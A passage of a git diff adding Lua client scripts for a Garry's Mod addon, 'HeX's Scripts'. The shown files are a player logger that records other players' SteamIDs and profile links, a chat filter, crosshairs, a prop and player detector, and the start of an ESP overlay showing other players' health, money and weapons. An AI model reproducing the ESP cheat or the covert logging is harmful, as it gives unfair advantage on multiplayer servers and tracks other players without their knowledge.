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 C5<^@7 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/icon.tga b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/icon.tga new file mode 100644 index 0000000000000000000000000000000000000000..ba7e99176f4563e34a8f141da499014cd1c3bc33 GIT binary patch literal 3090 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 Axc~qF literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/info.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/info.txt new file mode 100644 index 0000000..494566d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/info.txt @@ -0,0 +1,13 @@ +"AddonInfo" +{ + "name" "HeX's Scripts!" + "version" "10" + "up_date" "06.07.2012" + "author_name" "-=[UH]=- General HeX" + "author_email" "/id/MFSiNC" + "author_url" "gmod.game-host.org 27015" + + "info" "Antispam, Muke warning, Autoclicker, Download Filter, Spectate and more!" + + "override" "0" +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_CLogger.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_CLogger.lua new file mode 100644 index 0000000..ced58f7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_CLogger.lua @@ -0,0 +1,148 @@ + + +LtGreen = Color(174,255,0) +PURPLE = Color(149,102,255) + +if not _R.Player.TeamColor then + function _R.Player:TeamColor() + return team.GetColor( self:Team() ) + end +end + + +function _R.Player:CommunityID() + local SID = self:SteamID() + return "7656"..tostring(SID:sub(11) * 2 + SID:sub(9,9) + 1197960265728) +end + + +local CLogged = {} +function _R.Player:AddToCLog() + if self:IsBot() then return end + + local CFile = Format("CLog/%s.txt", os.date("%d-%m-%Y_%A") ) + + local LogTable = { + Format("[%s]\n", os.date("%d-%m-%y %I:%M%p") ), + Format("%s\n", GetHostName() ), + Format("GM: %s\n", GAMEMODE.Name), + Format("Players: %s/%s\n", #player.GetAll(), MaxPlayers() ), + Format("Map: %s\n", game.GetMap() ), + Format("Ver: U%s\n", VERSION), + Format("Nick: %s\n", self:Nick() ), + Format("Name: %s\n", self:Name() ), + Format("SteamID: %s\n", self:SteamID() ), + Format("CommunityID: %s\n", self:CommunityID() ), + Format("URL: http://steamcommunity.com/profiles/%s\n\n\n", self:CommunityID() ), + } + + local CLog = "" + for k,v in ipairs(LogTable) do + CLog = CLog..v + end + + CLogged[self] = true + file.Append(CFile, CLog) +end + + + + +local Active = false +local First = {} +local function FirstSave() + local Done = 0 + for k,v in pairs( player.GetAll() ) do + if IsValid(v) and (v != LocalPlayer()) then + v:AddToCLog() + First[v] = true + Done = Done + 1 + end + end + + if (Done != 0) then + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] All "..Done.." players have been logged!") + surface.PlaySound( Sound("buttons/button8.wav") ) + end + + Active = true +end +timer.Simple(1, FirstSave) --Got to wait for Nick/Name to take effect + + + + +local function EntityCreated(ent) + timer.Simple(2, function() --Got to wait for Nick/Name to take effect + if Active and IsValid(ent) and (ent:IsPlayer() and not ent:IsBot()) and (ent != LocalPlayer()) and not First[ent] then + if CLogged[ent] then + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] ", ent, LtGreen, " Has spawned") + else + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] ", ent, LtGreen, " Has spawned, logged") + ent:AddToCLog() + end + + surface.PlaySound( Sound("buttons/button5.wav") ) + end + end) +end +hook.Add("OnEntityCreated", "EntityCreated", EntityCreated) + + + +local function InServer(ply) + for k,v in pairs( player.GetAll() ) do + if (v == ply) then + return true + end + end + return false +end + + +local function EntityRemoved(ent) + if not Active or not ent:IsPlayer() or ent:IsBot() or (ent == LocalPlayer()) then return end + + local Nick = ent:Nick() + local Col = ent:TeamColor() + + timer.Simple(0.5, function() + if not IsValid(ent) or not InServer(ent) then + chat.AddText(LtGreen, "[", PURPLE, "C", LtGreen, "Log] ", Col,Nick, PURPLE, " Has disconnected!") + surface.PlaySound( Sound("buttons/button19.wav") ) + end + end) +end +hook.Add("EntityRemoved", "EntityRemoved", EntityRemoved) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Chat.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Chat.lua new file mode 100644 index 0000000..eaae57b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Chat.lua @@ -0,0 +1,41 @@ + + + +local ChatSpam = { + "sn1pe.com", + "!donate", + "This server uses PCMod", + "Can't hear sound?", + "You must have VIP", +} + +function HeX.NoChatSpam(idx,name,text,typ) + local Found,IDX,str = text:InTable(ChatSpam) + if text:find("URules") then + Found = true + end + + if Found then + MsgN( Format("CHAT SPAM (%s): %s", str, text) ) + return true + end + --chat.PlaySound() +end +hook.Add("ChatText", "!HeX.NoChatSpam", HeX.NoChatSpam) + + + +hook.Add("OnPlayerChat", "chat.PlaySound", function() + chat.PlaySound() +end) + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Crosshair.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Crosshair.lua new file mode 100644 index 0000000..1f0cdea --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Crosshair.lua @@ -0,0 +1,84 @@ + + +surface.CreateFont("HL2Cross", 44, 430, true, false, "hl2c_crosshair") + +local function HL2Crosshair() + local Width,Hight = ScrW(), ScrH() + draw.SimpleText("(", "hl2c_crosshair", Width / 2 - 15, Hight / 2, YELLOW, 2, 1) + draw.SimpleText(")", "hl2c_crosshair", Width / 2 + 15, Hight / 2, YELLOW, 0, 1) +end +hook.Add("HUDPaint", "HL2Crosshair", HL2Crosshair) + + + + +local Enabled = CreateClientConVar("xs_crosshair", 1, true, false) + +local TriEnabled = CreateClientConVar("xs_tri_enabled", 1, true, false) +local start = CreateClientConVar("xs_tri_start", 6, true, true) +local size = CreateClientConVar("xs_tri_size", 8, true, true) +local rps = CreateClientConVar("xs_tri_rps", 0, true, true) +local segments = CreateClientConVar("xs_tri_segments", 3, true, true) + + +local col = RED2 + +local x = ScrW() / 2 +local y = ScrH() / 2 +local gap = -20 +local length = gap + 5 + +hook.Add("HUDPaint","XS_CrossHair", function() + if TriEnabled:GetBool() then + local start = start:GetInt() + local size = size:GetInt() + local rps = rps:GetInt() + local segments = segments:GetInt() + + local time = -RealTime() * (math.pi * 2) * rps + local segmentsize = (math.pi * 2) / segments + + surface.SetDrawColor(LtGreen) + + for i = 0, segments - 1 do + local timeoffset = segmentsize * i + + local sin = math.sin(time + timeoffset) + local cos = math.cos(time + timeoffset) + + local startx = sin * start + local endx = sin * (start + size) + local starty = cos * start + local endy = cos * (start + size) + + surface.DrawLine(x + startx, y + starty, x + endx, y + endy) + end + + surface.DrawRect(x,y, 1, 1) + end + + if Enabled:GetBool() then + local ent = LocalPlayer():GetEyeTrace().Entity + + if ent:IsValid() then + if ent:IsPlayer() then + col = YELLOW + length = gap + 5 + else + col = GREEN2 + length = gap + 5 + end + else + return + end + + surface.SetDrawColor(col) + surface.DrawLine( x - length, y, x + gap, y ) + surface.DrawLine( x + length, y, x - gap, y ) + surface.DrawLine( x, y - length, x, y + gap ) + surface.DrawLine( x, y + length, x, y - gap ) + end +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FDetector.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FDetector.lua new file mode 100644 index 0000000..1842825 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FDetector.lua @@ -0,0 +1,184 @@ + +local RadiusMode = false +local detectors = {} + +local FDetDoSay = CreateClientConVar("FDet_DoSay", 1, true, false) +local RunSomethingVar = "FDet_RunSomething" +CreateClientConVar(RunSomethingVar, "no", false, false) + + +surface.CreateFont( "coolvetica", 32, 500, true, false, "FdetectorFont1" ) + +local function MakeDetector(ply, cmd, args) + local center = ents.Create("prop_physics") + center:SetPos(LocalPlayer():GetShootPos()--[[ - Vector(0,0,32) ]]) + center:SetModel("models/Items/AR2_Grenade.mdl") + center:Spawn() + LocalPlayer():ChatPrint("Select radius(use mouse button)") + RadiusMode = true + table.insert(detectors, center) + detectors[table.Count(detectors)].pozizion = LocalPlayer():GetShootPos() - Vector(0,0,32) + detectors[table.Count(detectors)].Entities = {} + detectors[table.Count(detectors)].DrawRadius = false + detectors[table.Count(detectors)].detectmode = false + + hook.Add("HUDPaint", "RadiusFDetector", function() + local trace = LocalPlayer():GetEyeTrace() + local distance = center:GetPos():Distance(trace.HitPos) + draw.DrawText(tostring(math.floor(distance)), "FdetectorFont1", ScrW() / 2, ScrH() / 2, Color(255,255,255,255), 1) + end) + + if args[1] ~= nil then + detectors[table.Count(detectors)].Naam = tostring(table.concat(args, " ")) + else + detectors[table.Count(detectors)].Naam = "your detector" + end +end +concommand.Add("fdet_make",MakeDetector) + +local function removedetectors() + RadiusMode = false + if detectors[table.Count(detectors)]:IsValid() then + detectors[table.Count(detectors)]:Remove() + table.remove(detectors, table.Count(detectors)) + end + LocalPlayer():ChatPrint("Last detector removed") +end +concommand.Add("fdet_remove",removedetectors) + +local function RadiusSelection(ply, bind, pressed) + if RadiusMode and ply == LocalPlayer() and pressed then + if string.find(bind, "attack") then + hook.Remove("HUDPaint", "RadiusFDetector") + local trace = LocalPlayer():GetEyeTrace() + detectors[table.Count(detectors)].radius = detectors[table.Count(detectors)]:GetPos():Distance(trace.HitPos) + RadiusMode = false + LocalPlayer():ChatPrint("Radius selected: " .. tostring(detectors[table.Count(detectors)].radius)) + detectors[table.Count(detectors)].detectmode = true + return true + end + end +end +hook.Add("PlayerBindPress", "Radiusselection", RadiusSelection) + +local function DrawRadius() + for k,v in pairs(detectors) do + if v.DrawRadius == true then + surface.SetDrawColor(255,0,0,255) + local pos1_1 = (v:GetPos() + Vector(v.radius, 0,0)):ToScreen() + local pos1_2 = (v:GetPos() - Vector(v.radius, 0,0)):ToScreen() + + local pos2_1 = (v:GetPos() + Vector(0, v.radius,0)):ToScreen() + local pos2_2 = (v:GetPos() - Vector(0, v.radius,0)):ToScreen() + + local pos3_1 = (v:GetPos() + Vector(0,0,v.radius)):ToScreen() + local pos3_2 = (v:GetPos() - Vector(0,0,v.radius)):ToScreen() + surface.DrawLine(pos1_1.x, pos1_1.y, pos1_2.x, pos1_2.y ) + surface.DrawLine(pos2_1.x, pos2_1.y, pos2_2.x, pos2_2.y ) + surface.DrawLine(pos3_1.x, pos3_1.y, pos3_2.x, pos3_2.y ) + end + end +end +hook.Add("HUDPaint", "DrawRadiusOfDetectors", DrawRadius) + + +local sound1 = Sound("ambient/alarms/siren.wav") +local function ThinkFunction() + local sound = CreateSound(LocalPlayer(), sound1) + for num, center in pairs(detectors) do + if not center:IsValid() then return end + center:SetPos(center.pozizion) + if center.detectmode then + local trace = {} + trace.start = LocalPlayer():GetShootPos() + trace.endpos = center.pozizion + trace.filter = LocalPlayer() + trace.mask = -1 + local TheTrace = util.TraceLine(trace) + if TheTrace.Hit then + center.DrawRadius = false + else + center.DrawRadius = true + end + + for k,v in pairs(center.Entities) do + if not table.HasValue(ents.FindInSphere( center:GetPos(), center.radius), v) then + table.remove(center.Entities, k) + end + end + for k,v in pairs(ents.FindInSphere( center:GetPos(), center.radius)) do + if v:GetClass() == "prop_physics" and not table.HasValue(center.Entities, v) then + table.insert(center.Entities, v) + GAMEMODE:AddNotify(v:GetModel() .. " has entered " .. center.Naam, 1, 5 ) + + + sound:Play() + timer.Simple(1, function() sound:Stop() end) + local PropOwner = "player" + + if v:GetNetworkedString("Owner") ~= "" then + GAMEMODE:AddNotify("Prop belongs to: " .. v:GetNetworkedString("Owner"), 1, 5) + PropOwner = v:GetNetworkedString("Owner") + + elseif (ASS_PP_GetOwner and ASS_PP_GetOwner(v):IsValid()) then + GAMEMODE:AddNotify("Prop belongs to: " .. ASS_PP_GetOwner(v):Nick(), 1, 5) + PropOwner = ASS_PP_GetOwner(v) + end + + + --SayShit + if FDetDoSay:GetBool() then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"]", RED," FDet ", GREEN,PropOwner, WHITE, " prop ("..v:GetModel()..") is in "..center.Naam) + end + --RunShit + if (GetConVarString(RunSomethingVar) != "no") then + --print("! RunSomethingVar: ", GetConVarString(RunSomethingVar)) + LocalPlayer():ConCommand( GetConVarString(RunSomethingVar) ) + end + + elseif v:GetClass() == "player" and not table.HasValue(center.Entities, v) then + table.insert(center.Entities, v) + if v == LocalPlayer() then + surface.PlaySound("buttons/button14.wav") + else + sound:Play() + timer.Simple(1, function() sound:Stop() end) + GAMEMODE:AddNotify(v:Nick() .. " has entered " .. center.Naam, 1, 5 ) + + + --RunShit + if (GetConVarString(RunSomethingVar) != "no") then + --print("! RunSomethingVar: ", GetConVarString(RunSomethingVar)) + LocalPlayer():ConCommand( GetConVarString(RunSomethingVar) ) + end + --SayShit + if FDetDoSay:GetBool() then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"]", RED," FDet ", v, WHITE, " is in "..center.Naam) + end + + + end + elseif v:GetClass() ~= "player" and v:GetClass() ~= "worldspawn" and v:GetClass() ~= "prop_physics" and not v:IsWeapon() and v:GetClass() ~= "viewmodel" and not table.HasValue(center.Entities, v) then + table.insert(center.Entities, v) + GAMEMODE:AddNotify(v:GetClass() .. " has entered " .. center.Naam, 1, 5) + + --SayShit + if FDetDoSay:GetBool() then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"]", RED," FDet ", GREEN, v:GetClass(), WHITE, " is in "..center.Naam) + end + --RunShit + if (GetConVarString(RunSomethingVar) != "no") then + --print("! RunSomethingVar: ", GetConVarString(RunSomethingVar)) + LocalPlayer():ConCommand( GetConVarString(RunSomethingVar) ) + end + + timer.Simple(1, function() sound:Stop() end) + sound:Play() + end + end + end + end + +end +hook.Add("Think", "PlayerDetection", ThinkFunction) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FESP.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FESP.lua new file mode 100644 index 0000000..6acd2a7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FESP.lua @@ -0,0 +1,543 @@ + + + +local CHair = CreateClientConVar("FESPCHair", 1, true, false) +local AimDotSize = CreateClientConVar("FESPAimDotSize", 4, true, false) +local AimDotBorder = CreateClientConVar("FESPAimDotBorder", 14, true, false) + +local ESPOn = CreateClientConVar("FESP_TOGGLE", 1, true, false) +local MiddleAllign = CreateClientConVar("FESPMiddleAllign", 0, true, false) +local dotsize = CreateClientConVar("FESPDotSize", 10, true, false) +local bordersize = CreateClientConVar("FESPBorderSize", 1, true, false) +local FShowName = CreateClientConVar("FESPShowName", 1, true, false) +local FShowHealth = CreateClientConVar("FESPShowHealth", 1, true, false) +local FShowAdmin = CreateClientConVar("FESPShowAdmin", 1, true, false) +local FShowOwner = CreateClientConVar("FESPShowOwner", 1, true, false) +local FShowRPMoney = CreateClientConVar("FESPShowRPMoney", 1, true, false) +local FShowSpeed = CreateClientConVar("FESPShowSpeed", 0, true, false) +local FShowDistance = CreateClientConVar("FESPShowDistance", 1, true, false) +local FShowWeapon = CreateClientConVar("FESPShowWeapon", 1, true, false) +local FMirror = CreateClientConVar("FESPMirror", 0, true, false) +local FMirrorx = CreateClientConVar("FESPMirrorx", 0, true, false) +local FMirrory = CreateClientConVar("FESPMirrory", 0, true, false) +local FMirrorw = CreateClientConVar("FESPMirrorw", 300, true, false) +local FMirrorh = CreateClientConVar("FESPMirrorh", 300, true, false) + +local CustomENTS = {} +local ESPPos = {} + +local DingetjesLijst = CreateClientConVar("FESPAllHappyDingetjes", "", true, false) +local DrawLijst = {} + +local EntityShowTable = {} +if DingetjesLijst:GetString() ~= "" then + EntityShowTable = string.Explode("|", DingetjesLijst:GetString()) +end + +local vector = FindMetaTable("Vector") + + //THIS IS THE FIRST THING I HAVE EVER DONE WITH A METATABLE :D +function vector:IsInSight(v) + local trace = {} + trace.start = LocalPlayer():GetShootPos() + trace.endpos = self + trace.filter = v + trace.mask = -1 + local TheTrace = util.TraceLine(trace) + if TheTrace.Hit then + return false + else + return true + end +end + +surface.CreateFont("ScoreboardText", 12, 1, false, true, "FALCO_TEST7") + +local function NamesOnHeads() + if ESPOn:GetInt() == 1 then + for k,v in pairs(DrawLijst) do + local pos = v.pos:ToScreen() + if not v.IsLooking then + draw.RoundedBox(1, pos.x - 0.5 * dotsize:GetInt(), pos.y - 0.5 * dotsize:GetInt() - #v.data * 20, dotsize:GetInt(),dotsize:GetInt(), Color(v.teamcolor.r,v.teamcolor.g,v.teamcolor.b)) + else + draw.RoundedBox(1, pos.x - 0.5 * (dotsize:GetInt() + AimDotBorder:GetInt()), pos.y - 0.5 * dotsize:GetInt(), 0.5 * dotsize:GetInt() + AimDotSize:GetInt(), 0.5 * dotsize:GetInt() + AimDotSize:GetInt(), Color(v.teamcolor.r,v.teamcolor.g,v.teamcolor.b)) + end + for a,b in pairs(v.data) do + if type(b) == "string" then + local w = 1 + if MiddleAllign:GetInt() == 1 then + w = string.len(b) * 2.3 + else + w = -0.5 * dotsize:GetInt() + end + draw.WordBox(bordersize:GetInt(), pos.x - w - dotsize:GetInt() , (pos.y + (a-1) * (13 + bordersize:GetInt()) + 0.5 * dotsize:GetInt()) - #v.data * 20 , b , "FALCO_TEST7", Color(0,0,0,50), Color(255, 255, 255, 255)) + end + end + end + for k,v in pairs(ESPPos) do + local pos = v:ToScreen() + draw.RoundedBox(1, pos.x - 0.5 * dotsize:GetInt(), pos.y - 0.5 * 